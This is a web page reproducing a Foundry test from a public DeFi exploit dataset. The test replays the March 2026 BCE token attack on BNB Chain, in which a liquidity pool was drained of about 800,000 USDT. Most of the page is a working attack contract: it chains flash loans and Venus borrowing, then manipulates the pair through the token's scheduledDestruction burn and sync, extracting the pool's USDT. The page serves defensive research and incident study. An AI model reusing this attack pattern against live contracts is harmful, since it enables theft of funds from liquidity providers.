Public reproduction file
src/test/2026-03/bce_exp.sol
Public reproduction file for dataset entry BCE.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~800,000 USDT8// Attacker : 0x9f7EABD7C3538bA6B9D10Eede63712c0EccE6D699// Attack Contract : 0xAF7F22831D1eC86D24be51a1760b04aD4b58e9eB10// Vulnerable Contract : 0xcdb189D377AC1cF9D7B1D1a988f2025B9999999911// Attack Tx : https://skylens.certik.com/tx/bsc/0x85ac5d15f16d49ae08f90ab0e554ebfcb145712342c5b7704e305d602146d45213// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xcdb189D377AC1cF9D7B1D1a988f2025B99999999#code16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/281418//19// BCE records a scheduledDestruction amount during sells into its Pancake pair. A later ordinary transfer burns that20// amount directly from the pair and calls sync(), leaving the pair with almost no BCE reserve. The attacker then sells21// the remaining BCE into the distorted reserves and extracts the USDT side of the LP.23address constant ATTACKER = 0x9f7EABD7C3538bA6B9D10Eede63712c0EccE6D69;24address constant ATTACK_CONTRACT = 0xAF7F22831D1eC86D24be51a1760b04aD4b58e9eB;25address constant BCE = 0xcdb189D377AC1cF9D7B1D1a988f2025B99999999;26address constant BCE_USDT_PAIR = 0xca23E8d408d769661CB480a3fd45d6Be370c45f7;27address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;28address constant BTCB = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;29address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;30address constant MOOLAH = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;31address constant VENUS_COMPTROLLER = 0xfD36E2c2a6789Db23113685031d7F16329158384;32address constant vWBNB = 0x6bCa74586218dB34cdB402295796b79663d816e9;33address constant vBTCB = 0x882C173bC7Ff3b7786CA16dfeD3DFFfb9Ee7847B;34address constant vUSDT = 0xfD5840Cd36d94D7229439859C0112a4185BC0255;35address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;36address constant PANCAKE_SMART_ROUTER = 0x13f4EA83D0bd40E75C8222255bc855a974568Dd4;37address constant BNB_PAYMENT_RECEIVER = 0x4848489f0b2BEdd788c696e2D79b6b69D7484848;39interface IBCE is IERC20 {40 function scheduledDestruction() external view returns (uint256);41}43interface IPancakeSmartRouter {44 struct ExactInputSingleParams {45 address tokenIn;46 address tokenOut;47 uint24 fee;48 address recipient;49 uint256 amountIn;50 uint256 amountOutMinimum;51 uint160 sqrtPriceLimitX96;52 }54 function exactInputSingle(55 ExactInputSingleParams calldata params56 ) external payable returns (uint256 amountOut);57}59interface IBCEExploit {60 function execute() external;61}63contract ContractTest is BaseTestWithBalanceLog {64 function setUp() public {65 uint256 forkBlock = 88_215_292;66 vm.createSelectFork("bsc", forkBlock);67 vm.label(ATTACKER, "Attacker");68 vm.label(ATTACK_CONTRACT, "Attack Contract");69 vm.label(BCE, "BCE");70 vm.label(BCE_USDT_PAIR, "BCE/USDT Pair");71 vm.label(USDT_TOKEN, "USDT");72 vm.label(MOOLAH, "Moolah Flash Lender");73 vm.label(VENUS_COMPTROLLER, "Venus Comptroller");74 }76 function testExploit() public {77 uint256 attackerUsdtBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);78 uint256 pairUsdtBefore = IERC20(USDT_TOKEN).balanceOf(BCE_USDT_PAIR);80 BCEExploit replacement = new BCEExploit();81 vm.etch(ATTACK_CONTRACT, address(replacement).code);83 vm.prank(ATTACKER);84 IBCEExploit(ATTACK_CONTRACT).execute();86 uint256 attackerUsdtProfit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerUsdtBefore;87 uint256 pairUsdtAfter = IERC20(USDT_TOKEN).balanceOf(BCE_USDT_PAIR);89 assertGt(attackerUsdtProfit, 600_000 ether);90 assertLt(pairUsdtAfter, pairUsdtBefore / 1_000_000);91 }92}94contract BCEExploit {95 receive() external payable {}97 function execute() external {98 // step 1: recursively borrow the Moolah USDT, BTCB, and WBNB balances used to fund the Venus leg.99 IMorphoBuleFlashLoan(MOOLAH).flashLoan(USDT_TOKEN, IERC20(USDT_TOKEN).balanceOf(MOOLAH), abi.encode(USDT_TOKEN));101 // step 5: convert the trace's 15% gross-profit side payment to WBNB, unwrap it, then forward USDT profit.102 uint256 sidePaymentBps = 1500;103 uint256 sidePaymentUsdt = (IERC20(USDT_TOKEN).balanceOf(address(this)) * sidePaymentBps) / 10_000;104 IERC20(USDT_TOKEN).approve(PANCAKE_SMART_ROUTER, sidePaymentUsdt);105 IPancakeSmartRouter(PANCAKE_SMART_ROUTER)106 .exactInputSingle(107 IPancakeSmartRouter.ExactInputSingleParams({108 tokenIn: USDT_TOKEN,109 tokenOut: WBNB_TOKEN,110 fee: 100,111 recipient: address(this),112 amountIn: sidePaymentUsdt,113 amountOutMinimum: 0,114 sqrtPriceLimitX96: 0115 })116 );118 uint256 wbnbOut = IERC20(WBNB_TOKEN).balanceOf(address(this));119 IWBNB(payable(WBNB_TOKEN)).withdraw(wbnbOut);120 (bool paid,) = payable(BNB_PAYMENT_RECEIVER).call{value: wbnbOut}("");121 require(paid, "BNB payment failed");123 IERC20(USDT_TOKEN).transfer(ATTACKER, IERC20(USDT_TOKEN).balanceOf(address(this)));124 }126 fallback() external {127 require(msg.sender == MOOLAH, "only Moolah");128 (uint256 amount, bytes memory data) = abi.decode(msg.data[4:], (uint256, bytes));129 address token = abi.decode(data, (address));130 IERC20(token).approve(MOOLAH, amount);132 if (token == USDT_TOKEN) {133 IMorphoBuleFlashLoan(MOOLAH).flashLoan(BTCB, IERC20(BTCB).balanceOf(MOOLAH), abi.encode(BTCB));134 } else if (token == BTCB) {135 IMorphoBuleFlashLoan(MOOLAH)136 .flashLoan(WBNB_TOKEN, IERC20(WBNB_TOKEN).balanceOf(MOOLAH), abi.encode(WBNB_TOKEN));137 } else if (token == WBNB_TOKEN) {138 runVenusAndBceExploit();139 } else {140 revert("unexpected token");141 }142 }144 function runVenusAndBceExploit() internal {145 // step 2: use flash-loaned BTCB/WBNB as Venus collateral and borrow the available vUSDT cash.146 uint256 btcbCollateral = IERC20(BTCB).balanceOf(address(this));147 uint256 wbnbCollateral = IERC20(WBNB_TOKEN).balanceOf(address(this));148 address[] memory markets = new address[](3);149 markets[0] = vWBNB;150 markets[1] = vBTCB;151 markets[2] = vUSDT;152 IUnitroller(VENUS_COMPTROLLER).enterMarkets(markets);154 IERC20(WBNB_TOKEN).approve(vWBNB, wbnbCollateral);155 IERC20(BTCB).approve(vBTCB, btcbCollateral);156 require(ICErc20Delegate(vWBNB).mint(wbnbCollateral) == 0, "vWBNB mint failed");157 require(ICErc20Delegate(vBTCB).mint(btcbCollateral) == 0, "vBTCB mint failed");158 require(ICErc20Delegate(vUSDT).borrow(ICErc20Delegate(vUSDT).getCash()) == 0, "vUSDT borrow failed");160 runBcePairManipulation();162 // step 4: repay Venus, redeem the flash-loaned collateral, and return to the Moolah callbacks for repayment.163 IERC20(USDT_TOKEN).approve(vUSDT, type(uint256).max);164 require(ICErc20Delegate(vUSDT).repayBorrow(type(uint256).max) == 0, "vUSDT repay failed");165 require(ICErc20Delegate(vWBNB).redeemUnderlying(wbnbCollateral) == 0, "vWBNB redeem failed");166 require(ICErc20Delegate(vBTCB).redeemUnderlying(btcbCollateral) == 0, "vBTCB redeem failed");167 }169 function runBcePairManipulation() internal {170 // step 3: perform two BCE flash swaps, accumulate scheduledDestruction, burn it from the pair, then sell.171 PairFlashHelper helper = new PairFlashHelper(address(this));172 IERC20(USDT_TOKEN).transfer(address(helper), IERC20(USDT_TOKEN).balanceOf(address(this)));173 IERC20(BCE).approve(PANCAKE_ROUTER, type(uint256).max);175 address[] memory path = new address[](2);176 path[0] = BCE;177 path[1] = USDT_TOKEN;179 (, uint112 reserveBCE,) = IPancakePair(BCE_USDT_PAIR).getReserves();180 uint256 firstBceOut = uint256(reserveBCE) - 2_100_000 ether; // BCE source line 250 denominator.181 IPancakePair(BCE_USDT_PAIR).swap(0, firstBceOut, address(helper), abi.encode(BCE));182 helper.sweep(BCE);184 uint256 firstSellAmount = (IERC20(BCE).balanceOf(address(this)) * 9) / 10;185 IPancakeRouter(payable(PANCAKE_ROUTER))186 .swapExactTokensForTokensSupportingFeeOnTransferTokens(187 firstSellAmount, 0, path, address(helper), block.timestamp188 );190 (, reserveBCE,) = IPancakePair(BCE_USDT_PAIR).getReserves();191 uint256 reserveDust = IPancakePair(BCE_USDT_PAIR).MINIMUM_LIQUIDITY() * 10;192 uint256 secondBceOut = uint256(reserveBCE) - IBCE(BCE).scheduledDestruction() - reserveDust;193 IPancakePair(BCE_USDT_PAIR).swap(0, secondBceOut, address(helper), abi.encode(BCE));194 helper.sweep(BCE);195 helper.sweep(USDT_TOKEN);197 IBCE(BCE).transfer(address(1), 0);198 IPancakeRouter(payable(PANCAKE_ROUTER))199 .swapExactTokensForTokensSupportingFeeOnTransferTokens(200 IERC20(BCE).balanceOf(address(this)), 0, path, address(this), block.timestamp201 );202 }203}205contract PairFlashHelper is IPancakeCallee {206 address private immutable owner;208 constructor(209 address owner_210 ) {211 owner = owner_;212 }214 function pancakeCall(215 address sender,216 uint256,217 uint256 amount1Out,218 bytes calldata219 ) external override {220 require(msg.sender == BCE_USDT_PAIR, "only pair");221 require(sender == owner, "only owner swap");223 (uint112 reserveUSDT, uint112 reserveBCE,) = IPancakePair(BCE_USDT_PAIR).getReserves();224 uint256 repayUsdt = getAmountIn(amount1Out, reserveUSDT, reserveBCE);225 IERC20(USDT_TOKEN).transfer(BCE_USDT_PAIR, repayUsdt);226 }228 function sweep(229 address token230 ) external {231 require(msg.sender == owner, "only owner");232 IERC20(token).transfer(owner, IERC20(token).balanceOf(address(this)));233 }235 function getAmountIn(236 uint256 amountOut,237 uint256 reserveIn,238 uint256 reserveOut239 ) private pure returns (uint256) {240 uint256 numerator = reserveIn * amountOut * 10_000;241 uint256 denominator = (reserveOut - amountOut) * 9975;242 return (numerator / denominator) + 1;243 }244}Analysis
Dataset entry
Public Foundry test for “BCE” (2026-03-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-03/AlkemiEarn_exp.solSame month in the dataset · 91 lines
- src/test/2026-03/ATMBlindBox_exp.solSame month in the dataset · 141 lines
- src/test/2026-03/Curve_LlamaLend_exp.solSame month in the dataset · 281 lines
- src/test/2026-03/EST_exp.solSame month in the dataset · 170 lines
- src/test/2026-03/Revamp_exp.solSame month in the dataset · 278 lines
- src/test/2026-03/unverified_237d_exp.solSame month in the dataset · 162 lines
- src/test/2026-03/Univ3CollateralToken_exp.solSame month in the dataset · 188 lines
- src/test/2026-03/unverified_1304_exp.solSame month in the dataset · 178 lines
- src/test/2026-03/Venus_THE_exp.solSame month in the dataset · 227 lines
- src/test/2026-03/VTSwapHook_exp.solSame month in the dataset · 166 lines
- src/test/2026-03/WhalebitOracleManipulation_exp.solSame month in the dataset · 199 lines
- src/test/2026-03/XocolatlLiquidator_exp.solSame month in the dataset · 255 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x9f7eabd7c3538ba6b9d10eede63712c0ecce6d69
- Attack Contract
0xaf7f22831d1ec86d24be51a1760b04ad4b58e9eb
- Vulnerable Contract
0xcdb189d377ac1cf9d7b1d1a988f2025b99999999
- Attack Tx
0x85ac5d15f16d49ae08f90ab0e554ebfcb145712342c5b7704e305d602146d452
File record
- Name
- BCE
- Path
- src/test/2026-03/bce_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- c83c4163e2e51807356ad52fff2b523b491ae4d0
- Language
- Solidity
- Size
- 245 lines
- Date
- 2026-03-23
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-03/bce_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c83c4163e2e51807356ad52fff2b523b491ae4d0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.